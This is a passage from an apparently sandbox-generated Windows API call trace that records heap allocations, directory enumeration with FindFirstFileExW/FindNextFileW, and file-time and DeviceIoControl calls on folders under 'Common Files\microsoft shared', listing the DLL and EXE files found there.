(hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.033] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.033] NtClose (Handle=0x16c) returned 0x0 [0087.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.034] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.034] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.034] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf63fa00, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaf63fa00, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.036] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf63fa00, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaf63fa00, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.036] GetLastError () returned 0x12 [0087.036] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.036] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.036] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.036] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf63fa00, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaf63fa00, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.036] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf63fa00, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaf63fa00, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.036] GetLastError () returned 0x12 [0087.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.036] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.037] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x323, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.HxC", cAlternateFileName="")) returned 1 [0087.037] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x60ce1c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.HxT", cAlternateFileName="")) returned 1 [0087.037] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x6cee, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxRuntime.HxS", cAlternateFileName="")) returned 1 [0087.037] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keywords.HxK", cAlternateFileName="")) returned 1 [0087.037] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NamedURLs.HxK", cAlternateFileName="")) returned 1 [0087.037] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NamedURLs.HxK", cAlternateFileName="")) returned 0 [0087.037] GetLastError () returned 0x12 [0087.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.038] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.038] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0087.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.038] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.039] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.039] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.040] NtClose (Handle=0x124) returned 0x0 [0087.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.041] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.043] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.043] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0087.043] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.7", cAlternateFileName="")) returned 1 [0087.043] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.043] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0087.043] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aad17fd, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2aad17fd, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x959f4c70, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0087.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56787bbf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56787bbf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x959f4c70, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x159800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67731975, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x67731975, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x96f16ef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a95f54, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x36a95f54, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x99e8b5f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x151e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa822ba, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0xcfa822ba, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xcc41afc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19b39d9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb19b39d9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1a25dfa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12a400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2644b3, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2d2644b3, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9b490940, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475edf2f, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x475edf2f, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9c6db320, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0734e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x53e0734e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9c702420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20326ec4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x20326ec4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb95fefd0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penchs.dll", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20373182, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x20373182, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pencht.dll", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203992e1, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203992e1, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penjpn.dll", cAlternateFileName="")) returned 1 [0087.045] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203bf440, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203bf440, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penkor.dll", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203bf440, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203bf440, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb96965b0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penusa.dll", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa13b21, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1fa13b21, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xba4df950, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipanel.dll", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fda5c09, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1fda5c09, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x6f4de180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipanel.exe", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2043185d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2043185d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xbae186c0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipres.dll", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2612d14c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2612d14c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xadc05c90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0087.046] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2040b6fe, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2040b6fe, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe2234520, 